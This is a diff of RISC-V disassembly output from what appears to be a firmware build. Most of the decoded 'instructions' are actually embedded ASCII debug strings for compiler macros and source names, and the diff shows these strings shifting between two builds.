-    9178:	2065                	jal	9220 <__stack_size+0x8a20>
-    917a:	615f7473          	csrrci	s0,0x615,30
-    917e:	6974                	flw	fa3,84(a0)
-    9180:	2e6d                	jal	953a <__stack_size+0x8d3a>
-    9182:	7674                	flw	fa3,108(a2)
-    9184:	735f 6365 5f00      	0x5f006365735f
-    918a:	4f4c                	lw	a1,28(a4)
-    918c:	474e                	lw	a4,208(sp)
-    918e:	445f 554f 4c42      	0x4c42554f445f
+    90d4:	4346                	lw	t1,80(sp)
+    90d6:	4552                	lw	a0,20(sp)
+    90d8:	5441                	li	s0,-16
+    90da:	3020                	fld	fs0,96(s0)
+    90dc:	3078                	fld	fa4,224(s0)
+    90de:	3032                	fld	ft0,296(sp)
+    90e0:	0030                	addi	a2,sp,8
+    90e2:	5f5f 6172 676e      	0x676e61725f5f
+    90e8:	6f65                	lui	t5,0x19
+    90ea:	2866                	fld	fa6,88(sp)
+    90ec:	7974                	flw	fa3,116(a0)
+    90ee:	6570                	flw	fa2,76(a0)
+    90f0:	732c                	flw	fa1,96(a4)
+    90f2:	6174                	flw	fa3,68(a0)
+    90f4:	7472                	flw	fs0,60(sp)
+    90f6:	652c                	flw	fa1,72(a0)
+    90f8:	646e                	flw	fs0,216(sp)
+    90fa:	2029                	jal	9104 <__stack_size+0x8904>
+    90fc:	5f28                	lw	a0,120(a4)
+    90fe:	6f5f 6666 6573      	0x657366666f5f
+    9104:	6f74                	flw	fa3,92(a4)
+    9106:	2866                	fld	fa6,88(sp)
+    9108:	7974                	flw	fa3,116(a0)
+    910a:	6570                	flw	fa2,76(a0)
+    910c:	202c                	fld	fa1,64(s0)
+    910e:	6e65                	lui	t3,0x19
+    9110:	2964                	fld	fs1,208(a0)
+    9112:	2d20                	fld	fs0,88(a0)
+    9114:	5f20                	lw	s0,120(a4)
+    9116:	6f5f 6666 6573      	0x657366666f5f
+    911c:	6f74                	flw	fa3,92(a4)
+    911e:	2866                	fld	fa6,88(sp)
+    9120:	7974                	flw	fa3,116(a0)
+    9122:	6570                	flw	fa2,76(a0)
+    9124:	202c                	fld	fa1,64(s0)
+    9126:	72617473          	csrrci	s0,0x726,2
+    912a:	2974                	fld	fa3,208(a0)
+    912c:	0029                	c.nop	10
+    912e:	535f 5f43 4f58      	0x4f585f43535f
+    9134:	4550                	lw	a2,12(a0)
+    9136:	5f4e                	lw	t5,240(sp)
+    9138:	4556                	lw	a0,84(sp)
+    913a:	5352                	lw	t1,52(sp)
+    913c:	4f49                	li	t5,18
+    913e:	204e                	fld	ft0,208(sp)
+    9140:	3031                	jal	894c <__stack_size+0x814c>
+    9142:	0036                	c.slli	zero,0xd
+    9144:	5f474953          	0x5f474953
+    9148:	5441                	li	s0,-16
+    914a:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
+    914e:	4d5f 4e49 5f20      	0x5f204e494d5f
+    9154:	535f 4749 415f      	0x415f4749535f
+    915a:	4f54                	lw	a3,28(a4)
+    915c:	494d                	li	s2,19
+    915e:	494d5f43          	fmadd.s	ft10,fs10,fs4,fs1,unknown
+    9162:	5f4e                	lw	t5,240(sp)
+    9164:	005f 5f5f 695f      	0x695f5f5f005f
+    916a:	746e                	flw	fs0,248(sp)
+    916c:	705f 7274 6964      	0x69647274705f
+    9172:	6666                	flw	fa2,88(sp)
+    9174:	745f 685f 0020      	0x20685f745f
+    917a:	5f5f 4347 5f43      	0x5f4343475f5f
+    9180:	5441                	li	s0,-16
+    9182:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
+    9186:	435f 4148 5f52      	0x5f524148435f
+    918c:	4f4c                	lw	a1,28(a4)
+    918e:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
+    9192:	4552                	lw	a0,20(sp)
     9194:	2045                	jal	9234 <__stack_size+0x8a34>
-    9196:	6f6c                	flw	fa1,92(a4)
-    9198:	676e                	flw	fa4,216(sp)
-    919a:	6420                	flw	fs0,72(s0)
-    919c:	6c62756f          	jal	a0,30862 <__stack_size+0x30062>
-    91a0:	0065                	c.nop	25
-    91a2:	575f 4e41 5f54      	0x5f544e41575f
-    91a8:	4f49                	li	t5,18
-    91aa:	435f 3939 465f      	0x465f3939435f
-    91b0:	414d524f          	fnmadd.s	ft4,fs10,fs4,fs0,unknown
-    91b4:	5354                	lw	a3,36(a4)
-    91b6:	3120                	fld	fs0,96(a0)
-    91b8:	4900                	lw	s0,16(a0)
-    91ba:	544e                	lw	s0,240(sp)
-    91bc:	4d5f3233          	0x4d5f3233
-    91c0:	4e49                	li	t3,18
-    91c2:	5f00                	lw	s0,56(a4)
-    91c4:	4f5f 5342 4c4f      	0x4c4f53424f5f
-    91ca:	5445                	li	s0,-15
-    91cc:	5f45                	li	t5,-15
-    91ce:	414d                	li	sp,19
-    91d0:	4854                	lw	a3,20(s0)
-    91d2:	5f20                	lw	s0,120(a4)
-    91d4:	4f5f 5342 4c4f      	0x4c4f53424f5f
-    91da:	5445                	li	s0,-15
-    91dc:	5f45                	li	t5,-15
-    91de:	414d                	li	sp,19
-    91e0:	4854                	lw	a3,20(s0)
-    91e2:	445f 4645 5541      	0x55414645445f
-    91e8:	544c                	lw	a1,44(s0)
-    91ea:	4900                	lw	s0,16(a0)
-    91ec:	544e                	lw	s0,240(sp)
-    91ee:	3631                	jal	8cfa <__stack_size+0x84fa>
-    91f0:	435f 6328 2029      	0x20296328435f
-    91f6:	5f5f 4e49 3154      	0x31544e495f5f
-    91fc:	5f36                	lw	t5,108(sp)
-    91fe:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    9202:	5f00                	lw	s0,56(a4)
-    9204:	49525453          	0x49525453
-    9208:	474e                	lw	a4,208(sp)
-    920a:	5f485f53          	0x5f485f53
-    920e:	0020                	addi	s0,sp,8
-    9210:	4e49                	li	t3,18
-    9212:	3854                	fld	fa3,176(s0)
-    9214:	4d5f 4e49 2820      	0x28204e494d5f
-    921a:	492d                	li	s2,11
-    921c:	544e                	lw	s0,240(sp)
-    921e:	5f38                	lw	a4,120(a4)
-    9220:	414d                	li	sp,19
-    9222:	2058                	fld	fa4,128(s0)
-    9224:	202d                	jal	924e <__stack_size+0x8a4e>
-    9226:	2931                	jal	9642 <__stack_size+0x8e42>
-    9228:	5f00                	lw	s0,56(a4)
-    922a:	465f 544c 3233      	0x3233544c465f
-    9230:	485f 5341 515f      	0x515f5341485f
-    9236:	4955                	li	s2,21
-    9238:	5445                	li	s0,-15
-    923a:	4e5f 4e41 5f5f      	0x5f5f4e414e5f
-    9240:	3120                	fld	fs0,96(a0)
-    9242:	5000                	lw	s0,32(s0)
-    9244:	504d                	c.li	zero,-13
-    9246:	525f 3120 3c3c      	0x3c3c3120525f
-    924c:	0030                	addi	a2,sp,8
-    924e:	5f5f 5441 4d4f      	0x4d4f54415f5f
-    9254:	4349                	li	t1,18
-    9256:	525f 4c45 4145      	0x41454c45525f
-    925c:	33204553          	0x33204553
-    9260:	5f00                	lw	s0,56(a4)
-    9262:	4c5f 4244 5f4c      	0x5f4c42444c5f
-    9268:	4f4e                	lw	t5,208(sp)
-    926a:	4d52                	lw	s10,20(sp)
-    926c:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    9272:	3120                	fld	fs0,96(a0)
-    9274:	312e                	fld	ft2,232(sp)
-    9276:	3938                	fld	fa4,112(a0)
-    9278:	34313337          	lui	t1,0x34313
-    927c:	3539                	jal	908a <__stack_size+0x888a>
-    927e:	32373533          	0x32373533
-    9282:	36373133          	0x36373133
-    9286:	3035                	jal	8ab2 <__stack_size+0x82b2>
-    9288:	3538                	fld	fa4,104(a0)
-    928a:	33393537          	lui	a0,0x33393
-    928e:	3632                	fld	fa2,296(sp)
-    9290:	3236                	fld	ft4,360(sp)
-    9292:	3038                	fld	fa4,96(s0)
-    9294:	3730                	fld	fa2,104(a4)
-    9296:	3230                	fld	fa2,96(a2)
-    9298:	2b65                	jal	9850 <__stack_size+0x9050>
-    929a:	3934                	fld	fa3,112(a0)
-    929c:	004c3233          	sltu	tp,s8,tp
-    92a0:	5750                	lw	a2,44(a4)
-    92a2:	5f4d                	li	t5,-13
-    92a4:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-    92a8:	32504d43          	fmadd.d	fs10,ft0,ft5,ft6,rmm
-    92ac:	5049                	c.li	zero,-14
-    92ae:	3020                	fld	fs0,96(s0)
-    92b0:	3478                	fld	fa4,232(s0)
-    92b2:	3030                	fld	fa2,96(s0)
-    92b4:	3030                	fld	fa2,96(s0)
-    92b6:	3030                	fld	fa2,96(s0)
-    92b8:	0030                	addi	a2,sp,8
-    92ba:	5f5f 4f43 5950      	0x59504f435f5f
-    92c0:	4952                	lw	s2,20(sp)
-    92c2:	28544847          	fmsub.s	fa6,fs0,ft5,ft5,rmm
-    92c6:	73202973          	csrr	s2,0x732
-    92ca:	7274                	flw	fa3,100(a2)
-    92cc:	6375                	lui	t1,0x1d
-    92ce:	2074                	fld	fa3,192(s0)
-    92d0:	5f5f 6168 6b63      	0x6b6361685f5f
-    92d6:	5f00                	lw	s0,56(a4)
-    92d8:	4552                	lw	a0,20(sp)
-    92da:	4441                	li	s0,16
-    92dc:	575f 4952 4554      	0x45544952575f
-    92e2:	525f 5445 5255      	0x52555445525f
-    92e8:	5f4e                	lw	t5,240(sp)
-    92ea:	5954                	lw	a3,52(a0)
-    92ec:	4550                	lw	a2,12(a0)
-    92ee:	5f20                	lw	s0,120(a4)
-    92f0:	7a697373          	csrrci	t1,0x7a6,18
-    92f4:	5f65                	li	t5,-7
-    92f6:	0074                	addi	a3,sp,12
-    92f8:	575f 4449 5f45      	0x5f454449575f
-    92fe:	4549524f          	0x4549524f
-    9302:	544e                	lw	s0,240(sp)
-    9304:	3120                	fld	fs0,96(a0)
-    9306:	4500                	lw	s0,8(a0)
-    9308:	4958                	lw	a4,20(a0)
-    930a:	5f54                	lw	a3,60(a4)
-    930c:	4146                	lw	sp,80(sp)
-    930e:	4c49                	li	s8,18
-    9310:	5255                	li	tp,-11
-    9312:	2045                	jal	93b2 <__stack_size+0x8bb2>
-    9314:	0031                	c.nop	12
-    9316:	7270                	flw	fa2,100(a2)
-    9318:	6e69                	lui	t3,0x1a
-    931a:	5f74                	lw	a3,124(a4)
-    931c:	5f757063          	bgeu	a0,s7,98fc <__stack_size+0x90fc>
-    9320:	6e69                	lui	t3,0x1a
-    9322:	6f66                	flw	ft10,88(sp)
-    9324:	5f00                	lw	s0,56(a4)
-    9326:	4d5f4353          	0x4d5f4353
-    932a:	4d45                	li	s10,17
-    932c:	5f59524f          	fnmadd.q	ft4,fs2,fs5,fa1,unknown
-    9330:	5250                	lw	a2,36(a2)
-    9332:	4345544f          	fnmadd.d	fs0,fa0,fs4,fs0,unknown
-    9336:	4954                	lw	a3,20(a0)
-    9338:	32204e4f          	fnmadd.d	ft8,ft0,ft2,ft6,rmm
-    933c:	0036                	c.slli	zero,0xd
-    933e:	46495f53          	0x46495f53
-    9342:	4e4c                	lw	a1,28(a2)
-    9344:	495f204b          	fnmsub.s	ft0,ft10,fs5,fs1,rdn
-    9348:	4c46                	lw	s8,80(sp)
-    934a:	4b4e                	lw	s6,208(sp)
-    934c:	4700                	lw	s0,8(a4)
-    934e:	4950                	lw	a2,20(a0)
-    9350:	45525f4f          	0x45525f4f
-    9354:	666f2847          	fmsub.q	fa6,ft10,ft6,fa2,rdn
-    9358:	7366                	flw	ft6,120(sp)
-    935a:	7465                	lui	s0,0xffff9
-    935c:	2029                	jal	9366 <__stack_size+0x8b66>
-    935e:	525f 4745 3233      	0x32334745525f
-    9364:	4728                	lw	a0,72(a4)
-    9366:	4950                	lw	a2,20(a0)
-    9368:	41425f4f          	fnmadd.s	ft10,ft4,fs4,fs0,unknown
-    936c:	202c4553          	0x202c4553
-    9370:	7366666f          	jal	a2,6faa6 <__stack_size+0x6f2a6>
-    9374:	7465                	lui	s0,0xffff9
-    9376:	0029                	c.nop	10
-    9378:	5f46                	lw	t5,112(sp)
-    937a:	4c544553          	0x4c544553
-    937e:	0038204b          	fnmsub.s	ft0,fa6,ft3,ft0,rdn
-    9382:	5f5f 6972 6373      	0x637369725f5f
-    9388:	5f76                	lw	t5,124(sp)
-    938a:	6c78                	flw	fa4,92(s0)
-    938c:	6e65                	lui	t3,0x19
-    938e:	3320                	fld	fs0,96(a4)
-    9390:	0032                	c.slli	zero,0xc
-    9392:	535f 5f43 4f4d      	0x4f4d5f43535f
-    9398:	4f4e                	lw	t5,208(sp)
-    939a:	4f54                	lw	a3,28(a4)
-    939c:	494e                	lw	s2,208(sp)
-    939e:	4c435f43          	0x4c435f43
-    93a2:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
-    93a6:	3936                	fld	fs2,360(sp)
-    93a8:	4c00                	lw	s0,24(s0)
-    93aa:	5449                	li	s0,-14
-    93ac:	4c54                	lw	a3,28(s0)
-    93ae:	5f45                	li	t5,-15
-    93b0:	4e45                	li	t3,17
-    93b2:	4944                	lw	s1,20(a0)
-    93b4:	4e41                	li	t3,16
-    93b6:	5f20                	lw	s0,120(a4)
-    93b8:	494c                	lw	a1,20(a0)
-    93ba:	5454                	lw	a3,44(s0)
-    93bc:	454c                	lw	a1,12(a0)
-    93be:	455f 444e 4149      	0x4149444e455f
-    93c4:	004e                	c.slli	zero,0x13
-    93c6:	59535f4f          	fnmadd.s	ft10,ft6,fs5,fa1,unknown
-    93ca:	434e                	lw	t1,208(sp)
-    93cc:	5f20                	lw	s0,120(a4)
-    93ce:	5346                	lw	t1,112(sp)
-    93d0:	4e59                	li	t3,22
-    93d2:	4f460043          	fmadd.q	ft0,fa2,fs4,fs1,rne
-    93d6:	4550                	lw	a2,12(a0)
-    93d8:	204e                	fld	ft0,208(sp)
-    93da:	465f 504f 4e45      	0x4e45504f465f
-    93e0:	4900                	lw	s0,16(a0)
-    93e2:	544e                	lw	s0,240(sp)
-    93e4:	3436                	fld	fs0,360(sp)
-    93e6:	4d5f 4e49 5f00      	0x5f004e494d5f
-    93ec:	555f 4e49 3154      	0x31544e49555f
-    93f2:	5f36                	lw	t5,108(sp)
-    93f4:	414d                	li	sp,19
-    93f6:	5f58                	lw	a4,60(a4)
-    93f8:	205f 7830 6666      	0x66667830205f
-    93fe:	6666                	flw	fa2,88(sp)
-    9400:	6d00                	flw	fs0,24(a0)
-    9402:	7861                	lui	a6,0xffff8
-    9404:	635f 6379 656c      	0x656c6379635f
-    940a:	5f00                	lw	s0,56(a4)
-    940c:	4a5f4353          	0x4a5f4353
-    9410:	435f424f          	fnmadd.d	ft4,ft10,fs5,fs0,rmm
-    9414:	52544e4f          	fnmadd.d	ft8,fs0,ft5,fa0,rmm
-    9418:	35204c4f          	0x35204c4f
-    941c:	4c00                	lw	s0,24(s0)
-    941e:	4f4c                	lw	a1,28(a4)
-    9420:	474e                	lw	a4,208(sp)
-    9422:	4d5f 5841 5f20      	0x5f2058414d5f
-    9428:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
-    942e:	4f4c                	lw	a1,28(a4)
-    9430:	474e                	lw	a4,208(sp)
-    9432:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    9438:	5f00                	lw	s0,56(a4)
-    943a:	445f 4c42 4d5f      	0x4d5f4c42445f
-    9440:	5841                	li	a6,-16
-    9442:	5f5f 2820 6428      	0x642828205f5f
-    9448:	6c62756f          	jal	a0,30b0e <__stack_size+0x3030e>
-    944c:	2965                	jal	9904 <__stack_size+0x9104>
-    944e:	2e31                	jal	976a <__stack_size+0x8f6a>
-    9450:	36373937          	lui	s2,0x36373
-    9454:	3339                	jal	9162 <__stack_size+0x8962>
-    9456:	3331                	jal	9162 <__stack_size+0x8962>
-    9458:	3834                	fld	fa3,112(s0)
-    945a:	3236                	fld	ft4,360(sp)
-    945c:	37353133          	0x37353133
-    9460:	3830                	fld	fa2,112(s0)
-    9462:	3431                	jal	8e6e <__stack_size+0x866e>
-    9464:	3235                	jal	8d90 <__stack_size+0x8590>
-    9466:	33323437          	lui	s0,0x33323
-    946a:	37313337          	lui	t1,0x37313
-    946e:	3430                	fld	fa2,104(s0)
-    9470:	65373533          	0x65373533
-    9474:	3830332b          	0x3830332b
-    9478:	294c                	fld	fa1,144(a0)
-    947a:	5500                	lw	s0,40(a0)
-    947c:	4e49                	li	t3,18
-    947e:	3654                	fld	fa3,168(a2)
-    9480:	5f34                	lw	a3,120(a4)
-    9482:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    9486:	5f20                	lw	s0,120(a4)
-    9488:	555f 4e49 3654      	0x36544e49555f
-    948e:	5f34                	lw	a3,120(a4)
-    9490:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    9494:	5f00                	lw	s0,56(a4)
-    9496:	4552                	lw	a0,20(sp)
-    9498:	4e45                	li	t3,17
-    949a:	5f54                	lw	a3,60(a4)
-    949c:	43454843          	fmadd.d	fa6,fa0,fs4,fs0,rmm
-    94a0:	504d5f4b          	fnmsub.s	ft10,fs10,ft4,fa0,unknown
-    94a4:	7028                	flw	fa0,96(s0)
-    94a6:	7274                	flw	fa3,100(a2)
-    94a8:	2029                	jal	94b2 <__stack_size+0x8cb2>
-    94aa:	5f00                	lw	s0,56(a4)
-    94ac:	5f535953          	0x5f535953
-    94b0:	535f 4749 4553      	0x45534749535f
-    94b6:	5f54                	lw	a3,60(a4)
-    94b8:	5f48                	lw	a0,60(a4)
-    94ba:	0020                	addi	s0,sp,8
-    94bc:	5f5f 4f43 434e      	0x434e4f435f5f
-    94c2:	5441                	li	s0,-16
-    94c4:	7828                	flw	fa0,112(s0)
-    94c6:	792c                	flw	fa1,112(a0)
-    94c8:	2029                	jal	94d2 <__stack_size+0x8cd2>
-    94ca:	5f5f 4f43 434e      	0x434e4f435f5f
-    94d0:	5441                	li	s0,-16
-    94d2:	2831                	jal	94ee <__stack_size+0x8cee>
-    94d4:	2c78                	fld	fa4,216(s0)
-    94d6:	2979                	jal	9974 <__stack_size+0x9174>
-    94d8:	5f00                	lw	s0,56(a4)
-    94da:	465f 544c 3436      	0x3436544c465f
-    94e0:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    94e6:	3120                	fld	fs0,96(a0)
-    94e8:	372e                	fld	fa4,232(sp)
-    94ea:	3739                	jal	93f8 <__stack_size+0x8bf8>
-    94ec:	3936                	fld	fs2,360(sp)
-    94ee:	34333133          	0x34333133
-    94f2:	3638                	fld	fa4,104(a2)
-    94f4:	3332                	fld	ft6,296(sp)
-    94f6:	3531                	jal	9302 <__stack_size+0x8b02>
-    94f8:	31383037          	lui	zero,0x31383
-    94fc:	3534                	fld	fa3,104(a0)
-    94fe:	3732                	fld	fa4,296(sp)
-    9500:	3234                	fld	fa3,96(a2)
-    9502:	31333733          	0x31333733
-    9506:	33343037          	lui	zero,0x33343
-    950a:	3735                	jal	9436 <__stack_size+0x8c36>
-    950c:	2b65                	jal	9ac4 <__stack_size+0x92c4>
-    950e:	46383033          	0x46383033
-    9512:	3436                	fld	fs0,360(sp)
-    9514:	6d00                	flw	fs0,24(a0)
-    9516:	6961                	lui	s2,0x18
-    9518:	2e6e                	fld	ft8,216(sp)
-    951a:	5f5f0063          	beq	t5,s5,9afa <__stack_size+0x92fa>
-    951e:	4244                	lw	s1,4(a2)
-    9520:	5f4c                	lw	a1,60(a4)
-    9522:	4148                	lw	a0,4(a0)
-    9524:	55515f53          	0x55515f53
-    9528:	4549                	li	a0,18
-    952a:	5f54                	lw	a3,60(a4)
-    952c:	414e                	lw	sp,208(sp)
-    952e:	5f4e                	lw	t5,240(sp)
-    9530:	205f 0031 5f53      	0x5f530031205f
-    9536:	5349                	li	t1,-14
-    9538:	5456                	lw	s0,116(sp)
-    953a:	2058                	fld	fa4,128(s0)
-    953c:	3030                	fld	fa2,96(s0)
-    953e:	3130                	fld	fa2,96(a0)
-    9540:	3030                	fld	fa2,96(s0)
-    9542:	0030                	addi	a2,sp,8
-    9544:	495f 4c4f 4642      	0x46424c4f495f
-    954a:	3120                	fld	fs0,96(a0)
-    954c:	5f00                	lw	s0,56(a4)
-    954e:	465f 544c 445f      	0x445f544c465f
-    9554:	4e45                	li	t3,17
-    9556:	5f4d524f          	fnmadd.q	ft4,fs10,fs4,fa1,unknown
-    955a:	494d                	li	s2,19
-    955c:	5f4e                	lw	t5,240(sp)
-    955e:	205f 2e31 3034      	0x30342e31205f
-    9564:	3231                	jal	8e70 <__stack_size+0x8670>
-    9566:	3839                	jal	8d84 <__stack_size+0x8584>
-    9568:	3634                	fld	fa3,104(a2)
-    956a:	3334                	fld	fa3,96(a4)
-    956c:	3432                	fld	fs0,296(sp)
-    956e:	3138                	fld	fa4,96(a0)
-    9570:	30373037          	lui	zero,0x30373
-    9574:	3239                	jal	8e82 <__stack_size+0x8682>
-    9576:	39323733          	0x39323733
-    957a:	3835                	jal	8db6 <__stack_size+0x85b6>
-    957c:	39383233          	0x39383233
-    9580:	3139                	jal	918e <__stack_size+0x898e>
-    9582:	3136                	fld	ft2,360(sp)
-    9584:	342d6533          	0x342d6533
-    9588:	4635                	li	a2,13
-    958a:	5f00                	lw	s0,56(a4)
-    958c:	4c5f 4244 5f4c      	0x5f4c42444c5f
-    9592:	5045                	c.li	zero,-15
-    9594:	4f4c4953          	0x4f4c4953
-    9598:	5f4e                	lw	t5,240(sp)
-    959a:	205f 2e31 3239      	0x32392e31205f
-    95a0:	3935                	jal	91dc <__stack_size+0x89dc>
-    95a2:	3932                	fld	fs2,296(sp)
-    95a4:	3439                	jal	8fb2 <__stack_size+0x87b2>
-    95a6:	3334                	fld	fa3,96(a4)
-    95a8:	3738                	fld	fa4,104(a4)
-    95aa:	3332                	fld	ft6,296(sp)
-    95ac:	3835                	jal	8de8 <__stack_size+0x85e8>
-    95ae:	3335                	jal	92da <__stack_size+0x8ada>
-    95b0:	3530                	fld	fa2,104(a0)
-    95b2:	3935                	jal	91ee <__stack_size+0x89ee>
-    95b4:	34393737          	lui	a4,0x34393
-    95b8:	3532                	fld	fa0,296(sp)
-    95ba:	3438                	fld	fa4,104(s0)
-    95bc:	3239                	jal	8eca <__stack_size+0x86ca>
-    95be:	65323337          	lui	t1,0x65323
-    95c2:	332d                	jal	92ec <__stack_size+0x8aec>
-    95c4:	4c34                	lw	a3,88(s0)
-    95c6:	5300                	lw	s0,32(a4)
-    95c8:	4749                	li	a4,18
-    95ca:	415f 4f54 494d      	0x494d4f54415f
-    95d0:	414d5f43          	fmadd.s	ft10,fs10,fs4,fs0,unknown
-    95d4:	0058                	addi	a4,sp,4
-    95d6:	6d5f7473          	csrrci	s0,0x6d5,30
-    95da:	6974                	flw	fa3,84(a0)
-    95dc:	656d                	lui	a0,0x1b
-    95de:	7320                	flw	fs0,96(a4)
-    95e0:	5f74                	lw	a3,124(a4)
-    95e2:	746d                	lui	s0,0xffffb
-    95e4:	6d69                	lui	s10,0x1a
-    95e6:	742e                	flw	fs0,232(sp)
-    95e8:	5f76                	lw	t5,124(sp)
-    95ea:	00636573          	csrrsi	a0,0x6,6
-    95ee:	5f5f 6972 6373      	0x637369725f5f
-    95f4:	5f76                	lw	t5,124(sp)
-    95f6:	756d                	lui	a0,0xffffb
-    95f8:	206c                	fld	fa1,192(s0)
+    9196:	0031                	c.nop	12
+    9198:	5f5f 4c46 3154      	0x31544c465f5f
+    919e:	3832                	fld	fa6,296(sp)
+    91a0:	485f 5341 515f      	0x515f5341485f
+    91a6:	4955                	li	s2,21
+    91a8:	5445                	li	s0,-15
+    91aa:	4e5f 4e41 5f5f      	0x5f5f4e414e5f
+    91b0:	3120                	fld	fs0,96(a0)
+    91b2:	5f00                	lw	s0,56(a4)
+    91b4:	535f 424e 2046      	0x2046424e535f
+    91ba:	7830                	flw	fa2,112(s0)
+    91bc:	3030                	fld	fa2,96(s0)
+    91be:	3230                	fld	fa2,96(a2)
+    91c0:	5f00                	lw	s0,56(a4)
+    91c2:	5450                	lw	a2,44(s0)
+    91c4:	5248                	lw	a0,36(a2)
+    91c6:	4145                	li	sp,17
+    91c8:	5f44                	lw	s1,60(a4)
+    91ca:	45434e4f          	0x45434e4f
+    91ce:	495f 494e 2054      	0x2054494e495f
+    91d4:	2c31207b          	0x2c31207b
+    91d8:	3020                	fld	fs0,96(s0)
+    91da:	7d20                	flw	fs0,120(a0)
+    91dc:	6700                	flw	fs0,8(a4)
+    91de:	7465                	lui	s0,0xffff9
+    91e0:	72616863          	bltu	sp,t1,9910 <__stack_size+0x9110>
+    91e4:	755f 6c6e 636f      	0x636f6c6e755f
+    91ea:	2864656b          	0x2864656b
+    91ee:	2029                	jal	91f8 <__stack_size+0x89f8>
+    91f0:	675f 7465 6863      	0x68637465675f
+    91f6:	7261                	lui	tp,0xffff8
+    91f8:	755f 6c6e 636f      	0x636f6c6e755f
+    91fe:	2864656b          	0x2864656b
+    9202:	0029                	c.nop	10
+    9204:	4e5f 494f 4c4e      	0x4c4e494f4e5f
+    920a:	4e49                	li	t3,18
+    920c:	5f45                	li	t5,-15
+    920e:	54415453          	0x54415453
+    9212:	4349                	li	t1,18
+    9214:	5f20                	lw	s0,120(a4)
+    9216:	4f4e                	lw	t5,208(sp)
+    9218:	4e49                	li	t3,18
+    921a:	494c                	lw	a1,20(a0)
+    921c:	454e                	lw	a0,208(sp)
+    921e:	7320                	flw	fs0,96(a4)
+    9220:	6174                	flw	fa3,68(a0)
+    9222:	6974                	flw	fa3,84(a0)
+    9224:	4c5f0063          	beq	t5,t0,96e4 <__stack_size+0x8ee4>
+    9228:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    922c:	4f44                	lw	s1,28(a4)
+    922e:	4255                	li	tp,21
+    9230:	454c                	lw	a1,12(a0)
+    9232:	6c20                	flw	fs0,88(s0)
+    9234:	20676e6f          	jal	t3,7f43a <__stack_size+0x7ec3a>
+    9238:	6f64                	flw	fs1,92(a4)
+    923a:	6275                	lui	tp,0x1d
+    923c:	656c                	flw	fa1,76(a0)
+    923e:	5f00                	lw	s0,56(a4)
+    9240:	755f 6573 2064      	0x20646573755f
+    9246:	5f5f 7461 7274      	0x727474615f5f
+    924c:	6269                	lui	tp,0x1a
+    924e:	7475                	lui	s0,0xffffd
+    9250:	5f65                	li	t5,-7
+    9252:	285f 5f28 755f      	0x755f5f28285f
+    9258:	5f646573          	csrrsi	a0,0x5f6,8
+    925c:	295f 0029 4e49      	0x4e490029295f
+    9262:	3354                	fld	fa3,160(a4)
+    9264:	5f32                	lw	t5,44(sp)
+    9266:	494d                	li	s2,19
+    9268:	004e                	c.slli	zero,0x13
+    926a:	5f5f 424f 4f53      	0x4f53424f5f5f
+    9270:	454c                	lw	a1,12(a0)
+    9272:	4554                	lw	a3,12(a0)
+    9274:	4d5f 5441 2048      	0x204854414d5f
+    927a:	5f5f 424f 4f53      	0x4f53424f5f5f
+    9280:	454c                	lw	a1,12(a0)
+    9282:	4554                	lw	a3,12(a0)
+    9284:	4d5f 5441 5f48      	0x5f4854414d5f
+    928a:	4544                	lw	s1,12(a0)
+    928c:	4146                	lw	sp,80(sp)
+    928e:	4c55                	li	s8,21
+    9290:	0054                	addi	a3,sp,4
+    9292:	4e49                	li	t3,18
+    9294:	3154                	fld	fa3,160(a0)
+    9296:	5f36                	lw	t5,108(sp)
+    9298:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    929c:	5f20                	lw	s0,120(a4)
+    929e:	495f 544e 3631      	0x3631544e495f
+    92a4:	435f 6328 0029      	0x296328435f
+    92aa:	535f 5254 4e49      	0x4e495254535f
+    92b0:	485f5347          	fmsub.s	ft6,ft10,ft5,fs1,unknown
+    92b4:	205f 4900 544e      	0x544e4900205f
+    92ba:	5f38                	lw	a4,120(a4)
+    92bc:	494d                	li	s2,19
+    92be:	204e                	fld	ft0,208(sp)
+    92c0:	2d28                	fld	fa0,88(a0)
+    92c2:	4e49                	li	t3,18
+    92c4:	3854                	fld	fa3,176(s0)
+    92c6:	4d5f 5841 2d20      	0x2d2058414d5f
+    92cc:	3120                	fld	fs0,96(a0)
+    92ce:	0029                	c.nop	10
+    92d0:	5f5f 4c46 3354      	0x33544c465f5f
+    92d6:	5f32                	lw	t5,44(sp)
+    92d8:	4148                	lw	a0,4(a0)
+    92da:	55515f53          	0x55515f53
+    92de:	4549                	li	a0,18
+    92e0:	5f54                	lw	a3,60(a4)
+    92e2:	414e                	lw	sp,208(sp)
+    92e4:	5f4e                	lw	t5,240(sp)
+    92e6:	205f 0031 5f5f      	0x5f5f0031205f
+    92ec:	5441                	li	s0,-16
+    92ee:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
+    92f2:	525f 4c45 4145      	0x41454c45525f
+    92f8:	33204553          	0x33204553
+    92fc:	5f00                	lw	s0,56(a4)
+    92fe:	4c5f 4244 5f4c      	0x5f4c42444c5f
+    9304:	4f4e                	lw	t5,208(sp)
+    9306:	4d52                	lw	s10,20(sp)
+    9308:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    930e:	3120                	fld	fs0,96(a0)
+    9310:	312e                	fld	ft2,232(sp)
+    9312:	3938                	fld	fa4,112(a0)
+    9314:	34313337          	lui	t1,0x34313
+    9318:	3539                	jal	9126 <__stack_size+0x8926>
+    931a:	32373533          	0x32373533
+    931e:	36373133          	0x36373133
+    9322:	3035                	jal	8b4e <__stack_size+0x834e>
+    9324:	3538                	fld	fa4,104(a0)
+    9326:	33393537          	lui	a0,0x33393
+    932a:	3632                	fld	fa2,296(sp)
+    932c:	3236                	fld	ft4,360(sp)
+    932e:	3038                	fld	fa4,96(s0)
+    9330:	3730                	fld	fa2,104(a4)
+    9332:	3230                	fld	fa2,96(a2)
